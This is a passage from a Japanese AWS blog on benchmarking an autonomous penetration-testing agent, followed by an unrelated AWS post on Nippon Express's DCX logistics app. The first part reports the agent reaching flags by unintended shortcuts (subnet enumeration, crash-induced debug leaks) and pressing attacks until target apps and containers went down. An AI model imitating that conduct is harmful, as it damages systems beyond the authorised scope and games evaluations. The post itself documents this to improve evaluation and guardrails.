が本来想定している動作そのものです。 検出結果の信頼度: AWS 自身の誤検知を測定 エクスプロイトエージェントは、その検出結果が信頼できなければ役に立ちません。そのため、このパイプラインでは、フラグの取得につながったかどうかにかかわらず、候補となった検出結果をすべて独立して検証しています。次の件数は、フルラン全体に対して検証機能が付与したラベルの集計です。 注: ターゲットに実在する脆弱性が複数ある場合、AWS が狙っていた CVE ではなかったとしても、その検出結果は誤検知とはみなしません。 検出結果の検証結果 件数 エクスプロイト可能と確認 (信頼度: 高) 234 信頼度がより低いもの (中、低、または未確認) 82 検証機能により誤検知と自動ラベル付け 159 重複として追加で除外 1,202 次の図は、提示された 475 件の検出結果が、エクスプロイト可能と確認、低信頼度、誤検知と自動ラベル付けという 3 つの検証ラベルにどのように分かれているかを示しています。 図 5: 組み込みの誤検知フィルターによる検出結果の検証内訳 専用の検証レイヤーが、エージェント自身の誤検知 159 件を検出してラベル付けし、さらに 1,200 件を超える検出結果を重複として除外しました。これにより、確認済みの検出結果はノイズが少なく、高い信頼度を保っています。この自己フィルタリング機能こそが、実用に耐えるペネトレーションテストエージェントと、ノイズの多いスキャナーとを分ける要素です。エージェントは、シードとなった CVE 以外にも、同じターゲット群で信頼度の高い問題を 234 件確認しています。ただし、本ベンチマークは新規の脆弱性発見ではなく、既知の CVE の再現を対象としているため、これらは二次的な結果として扱っています。 すべての成功を監査し、2 件の潜在的な誤りを検出 数値は、精査に耐えるものでなければ公開する価値がありません。そこで AWS は、取得したすべてのフラグのトラジェクトリを、各チャレンジの正規の PoC と比較しました。その結果、2 件の取得はレビューを通過せず、どちらも未解決として再分類しました。 SSRF のチャレンジ。 エージェントはリクエストフォージェリのバグを経由せず、自身のサブネットを列挙して、1 ホップ先にある内部サーバーを検出し、そこに直接アクセスしてフラグを取得しました。巧みな手段ではありますが、テスト対象の脆弱性を迂回しています。AWS はその後、意図された SSRF だけが侵入経路となるよう、この内部サービスを分離されたネットワークの内側に封じ込めました。 SQL インジェクションのチャレンジ。 エージェントはインジェクションを構築せず、アプリケーションを詳細なエラーを出力するクラッシュ状態に陥らせました。そのデバッグエラーページに、フラグを含むサーバー自身の環境情報が表示されていました。効果的な手段ではありますが、テスト対象の脆弱性を利用したものではありません。AWS はアプリケーションを強化し、インジェクションだけがフラグへの到達経路となるようにしました。 これはモデルの失敗ではありません。どちらも、エージェントが意図しない経路でフラグに到達できてしまうベンチマーク側の不備であり、こうした不備をとらえることこそが監査の存在意義です。これが、37 件中 33 件という偽りのない結果です。 エージェントが攻撃対象を壊すとき 最も重要な結果は、2 件の失敗です。いずれもエージェントはバグを発見してエクスプロイトしました。しかし、ベンチマークのフラグ取得という目的のもとで、本番環境での作業を統制する非破壊的なガードレールがない状態で動作した結果、自らのエクスプロイトによって、フラグを読み取る前にターゲットをダウンさせてしまいました。 アプリを操作不能にしました。 ファイルアップロードから RCE に至るあるチャレンジでは、エージェントはコード実行権限を獲得した後も攻撃を強め、アプリケーションのランタイム層が応答を停止しました。トラジェクトリにおける最後の発言は、次のとおりです。 I’ve exhausted read/write vectors on the bricked PHP layer… the app is already 100% non-functional. (操作不能になった PHP レイヤーで読み取り/書き込みの手段をすべて試しました…アプリは既に完全に機能しない状態です) アクセス権は手に入れたものの、フラグを読み取るべき稼働中のアプリがもはや存在しませんでした。 ターゲットをオフラインにしました。 別のチャレンジでは、root レベルのコード実行権限を取得した後も、エージェントはサービスがダウンするまで攻撃を続けました。実行の後半は Connection refused… the server might be down (接続が拒否されました…サーバーがダウンしている可能性があります) という記録で埋め尽くされており、エージェントが採点される時点では、コンテナは既に消えていました。 これは、明暗が入り混じった結果です。全力で動作する自律型の攻撃者は破壊的になり得ます。まさにそのため、次のセクションの内容が重要になります。 信頼性とガードレール: 強力なエージェントを安全に保つ ターゲットをオフラインにできるほどの能力を持つエージェントには、強力なガードレールが必要です。AWS は、その開発に積極的に取り組んでいます。 非破壊的なエクスプロイト。 AWS は、ターゲットの性能や可用性を損なわずに脆弱性を実証できるよう、エージェントを強化しています。破壊的な操作を抑制し、読み取り専用のエクスプロイト実証を優先し、サービスが不安定になった兆候が見られた時点で直ちに手を引くようにします。お客様向けの作業では、影響を実証する過程でサービス停止を引き起こしてはなりません。 ランタイムの信頼性。 実行結果が副次的な損害ではなくエージェントの能力を反映するよう、AWS は長時間実行時のリソース処理と、ターゲットの正常性を回復する機能を強化しています。 ガードレールとスコープ制限の適用。 AWS はガードレール層への投資を継続し、エージェントが認可されたスコープ内で安全に動作するようにしています。これにより、本番環境でも安心して利用できます。 エージェントの能力が高まるほど、ガードレールの重要性も増します。そのため AWS は、ガードレールをすべてのリリースにおける優先事項としています。 この結果が重要な理由 ベンチマークのスコアは、その背後にある手法が信頼できる範囲でしか価値を持ちません。この手法には 3 つの特性があり、89.2% という取得率を信頼でき、具体的な対策の根拠にできるものにしています。 エンドツーエンドでのエクスプロイト。 すべての数値は、低権限の状態から始まる一連の偵察、発見、エクスプロイトの構築、複数ステップの連鎖、抽出を経て、動作するエクスプロイトで取得したフラグに基づいています。 コンタミネーションの低減。 データセットは、学習データとの重複を最小限に抑えるため最近の CVE から選定しており、ランタイムでの CVE 検索も無効化しています。そのため、スコアは記憶ではなくエクスプロイトのスキルをより強く反映し、新たな CVE を追加するたびに更新されます。この 2 つの対策は、コンタミネーションを完全に排除するものではなく、低減するものです。 偽りのない結果を担保する設計。 すべての成功を、意図されたエクスプロイトと照合して監査します。そのため、ベンチマークの不備はそのまま公開されることなく、発見されて修正されます。 このデータセットにおけるエンドツーエンドでの正確な取得率は 89.2% です。AWS はこの数値を出発点として、さらに改善を重ねていきます。 今後の展開 AWS は、このベンチマークを継続的に改善する取り組みを進めています。 検出が難しく、成功を偽装しやすいビジネスロジックのバグや、複数サービスにまたがるエクスプロイトの連鎖に重点を置きながら、短い周期でデータセットを拡大します。 コンタミネーションにさらに対処するための新しい手法を開発します。 本記事で説明した、非破壊的なエクスプロイトとターゲットの正常性の回復に関する取り組みの成果を提供し、高い能力を持つエージェントがサービスを停止させずに影響を実証できるようにします。 データセットが拡大しても数値の正確さを保てるよう、CVE ごとのトラジェクトリ監査を恒久的なゲートとして整備します。 Dazhi Zhang Dazhi は、AWS Continuum のペネトレーションテストチームに所属するシニアセキュリティエンジニアです。セキュリティツールとオートメーション、大規模なマルウェアおよび脆弱性検出サービス、セキュリティアセスメント、脅威モデリング、脆弱性調査など、セキュリティ分野で 15 年の経験を持っています。現在は、ペネトレーションテストエージェントをはじめとするセキュリティエージェントの適合率と再現率を継続的に高めるため、評価手法やベンチマークの設計と改良を担当しています。 Hamed Soleimani Hamed は、AWS のシニアソフトウェアエンジニアで、スケーラブルで可用性の高いシステムの設計と構築において 10 年以上の経験を持っています。新しいものを作ることや複雑な問題を解決することに情熱を持っており、現在はセキュリティテストとソフトウェアデリバリーのための自律型 AI エージェントの構築に注力しています。Hamed の取り組みは、マルチエージェントアーキテクチャ、安全なエージェントランタイム、そしてエージェント型システムを本番環境へ導入するための評価フレームワークにまで及びます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

物流業界では、EC 市場の急拡大、販売チャネルの多様化、商品ライフサイクルの短期化が同時に進み、サプライチェーン全体の最適化が重要な経営課題になっています。欠品や過剰在庫は、売上機会の損失やコスト増加に直結します。だからこそ、リアルタイムな可視化とデータに基づく意思決定が欠かせません。 こうした課題に応えるのが、日本通運株式会社（以下「日本通運」）が開発・提供する AI 搭載型物流 Web アプリ「DCX（Digital Commerce Transformation）」です。AWS 上に構築された DCX は、在庫管理を中心にモノの流れの情報をつなぎ、データの可視化と AI による予測分析で、サプライチェーン全体の最適化を支援します。 本ブログでは、DCX の概要、AWS を活用したアーキテクチャ、そして最新の AI 機能を紹介します。内容は、2026 年 6 月に開催された AWS Summit Japan 2026 のブース展示をもとにしています。 DCX とは DCX は、日本通運が提供する SaaS 型の物流ソリューションです。在庫管理システム（WMS）として在庫や入出荷を管理し、受注から配送までの工程をリアルタイムで分析・可視化します。 高度な WMS 機能を実装 : アイテム別の入出庫履歴、日々の在庫数量、出荷先ごとの追跡番号などを一元管理。CSV や API によるデータ連携で、お客様のシステムとも簡単につなげることが可能 リアルタイム可視化と多角的な分析 : 受注から配送までの工程をつなぎ、出荷可能な在庫数量や作業進捗をリアルタイムで可視化。売上エリアの傾向や滞留在庫の推移など、さまざまな切り口で分析可能 AI による出荷予測と意思決定支援 : 時系列予測基盤モデル「Chronos-2」による出荷予測で在庫戦略の立案を支援し、Amazon Bedrock AgentCore を活用した対話型 AI で物流データからの迅速な意思決定を支援 導入しやすいサービス体系 : 物流業務を委託する「アウトソーシングサービス」と、お客様自身で在庫管理を行う「クラウドサービス」の 2 種類を提供。初期費用はかからず月額制で利用でき、契約後 2 週間で立ち上げが可能 日本通運が培ってきた「フィジカルなオペレーション」と、最新の「デジタル技術」。この 2 つを融合させ、新たなロジスティクスの価値を届けるのが DCX です。自社 EC を運営する D2C 事業者や販売チャネルの多い企業、物流センターを短期間・低コストで立ち上げたい企業に最適なサービスといえます。AWS 上に構築された DCX は、高い拡張性と安定性を備え、AI による先進的なサービスを提供しています。 DCX のアーキテクチャ — AWS 上での構築 DCX は、在庫管理や受注・出荷を担う DCX 本体と、顧客向け分析基盤「Business Insight」（以下、BI）の 2 つのアプリケーションで構成されています。オプションサービスとして提供される BI では、需要の偏りや在庫の滞留状況を可視化・分析できます。 DCX 本体 — ECS/Fargate によるコンテナ構成 図 1: DCX のアーキテクチャ。 DCX 本体は、 Amazon Elastic Container Service （Amazon ECS）と AWS Fargate 上でコンテナとして稼働しています。以前の運用基盤は Amazon EC2 でした。Fargate への移行とあわせてオートスケールを導入したことで、EC2 運用時に欠かせなかったサーバー台数（キャパシティ）の考慮が不要になりました。さらに、リクエストの増大に合わせてコンテナを増やすスケールアウトも容易になり、繁忙期でも快適なパフォーマンスを維持できています。 Business Insight — Redshift Serverless のデータを分析 図 2: Business Insight のアーキテクチャ。フロントエンドを Vercel でホストし、API を ECS/Fargate 上で提供する構成。 BI も、DCX 本体と同じく ECS/Fargate 上で稼働しています。分析では大量のデータにアクセスするため、接続先には Amazon Redshift Serverless を選びました。 パイプラインファーストの開発体制 図 3: CI/CD パイプラインの構成。GitHub へのプッシュを起点に、ビルド、ECR へのイメージ登録、ECS または Lambda へのデプロイまでを自動化し、結果を Slack に通知する。 開発効率を高めるため、DCX はパイプラインファーストの開発体制を採用し、デプロイを自動化・効率化しています。新しい機能をタイムリーにリリースできるようになり、ユーザー体験の継続的な向上につながっています。 パイプラインは AWS CodePipeline 、 AWS CodeBuild 、 AWS CodeDeploy などの AWS サービスを組み合わせて構築しました。インフラ管理には Terraform を導入し、Infrastructure as Code も実現しています。 データ統合 — Amazon Redshift Serverless と Zero-ETL 図 4: データ統合の構成。DCX と周辺アプリケーションの Aurora PostgreSQL のデータを Zero-ETL 統合で Redshift Serverless に集約し、Business Insight から参照する。 DCX では、日々の倉庫管理業務で使うデータベースと、分析で使うデータベースを分けています。そのため、BI が大規模なクエリを実行しても、ほかの業務には影響しません。 分析用データベースに採用したのは Amazon Redshift Serverless です。データ分析は負荷の変動が大きく、ピークのタイミングも予測しにくいものです。サーバーレスを採用したことで、この課題を解決しながら、コストの最適化も実現しています。 一般に、業務システムから分析システムへデータを移すには、ETL パイプラインの開発と維持が大きな負担になります。DCX は Aurora の Zero-ETL 統合 を採用し、Aurora に蓄積された業務データを Redshift Serverless へ自動で複製することで、この負担を大幅に減らしました。 AI 機能の実装 — Chronos-2 と Amazon Bedrock AgentCore DCX が提供する AI 機能は 2 つ。時系列予測モデルによる出荷予測と、自然言語による問い合わせへの自動応答です。欠品や過剰在庫を防ぐ在庫計画をすばやく立てられるうえ、複雑な操作なしに、滞留在庫の把握から改善策の検討まで進められます。 出荷予測 — Chronos-2 の活用 図 5: 個別 SKU の出荷予測画面。ロケーションと SKU ごとに、実績値と将来の予測値を下位（P30）・中位（P50）・上位（P70）の 3 つの分位点で表示する。 DCX の出荷予測を支えるのは、Amazon Science が開発・公開した時系列予測基盤モデル「 Chronos-2 」です。主な特長は次のとおりです。 ゼロショット予測 : 対象データでモデルの学習を行わなくても予測が可能 Transformer ベースのアーキテクチャ : 生成 AI と同じ Transformer 技術を時系列予測に応用 さまざまな環境で実行可能 : 仮想サーバやコンテナで実行でき、自社のアプリに組み込みやすい（ DCX では ECS で実行） 誰でも使えるオープンモデル : オープンモデルとして公開されており、誰でも無償で利用可能 Chronos-2 の導入により、1 アイテムあたり 1〜2 時間かかっていた予測の算出時間は約 5 分に短縮されました。複数アイテムの一括予測にも対応し、日別・週別・月別で最大半年先まで予測できます。実際の出荷実績と照合すれば、PDCA サイクルを回しながら予測の精度を高めていくことも可能です。 AI チャットによるデータ分析 — Amazon Bedrock AgentCore の活用 図 6: BI LLM Chat の画面。「最も滞留している商品を教えてください」という質問に対し、在庫数と在庫評価額のランキングと、在庫圧縮施策の提案を回答している。 Business Insight には、自然言語で物流データに問いかけられる「BI LLM Chat」を搭載しています。 図 7: BI LLM Chat の構成。 BI LLM Chat は、各エージェントが協調してタスクを遂行するマルチエージェント構成です。Amazon Redshift Serverless に蓄積された在庫・出荷などのデータや、S3 に格納された各種ドキュメントを参照し、ユーザーの問い合わせに回答します。ドキュメントの参照に使うのは Amazon Bedrock Managed Knowledge Base 。ユーザーとの過去の会話は、AgentCore Memory による長期記憶の機構で保持しています。 実装には AgentCore ハーネス を利用しました。AgentCore ハーネスなら、プログラムコードを書かずに AI エージェントを構築・運用できます。しかも、メモリやツール連携、オブザーバビリティなど AgentCore が提供する機能をそのまま活用できます。DCX では、こうして高品質な AI エージェントを短期間で開発し、新しい機能をすぐにユーザーへ届けられるようになりました。 今後の展望 日本通運は今後も、AI をはじめとするデジタル技術を DCX に積極的に取り入れていきます。国内外の拠点に蓄積される物流データと NX グループのグローバルな知見を活かし、お客様の物流現場の効率化と品質向上、そしてサプライチェーンにおける新たな価値の創造を支援していく方針です。 まとめ 本記事では、日本通運の DCX において、AWS の各種サービスがどのように利用されているのかを紹介しました。サーバーレスや CI/CD によって高度な開発・運用体制を確立し、AI やデータ分析技術によって付加価値の高いサービスを利用者に提供し続けています。これらは工夫次第で、どのような業種・企業規模でも取り入れられるアプローチです。みなさまのビジネスにも、ぜひ AWS の先進的なテクノロジーを積極的に活用してみてください。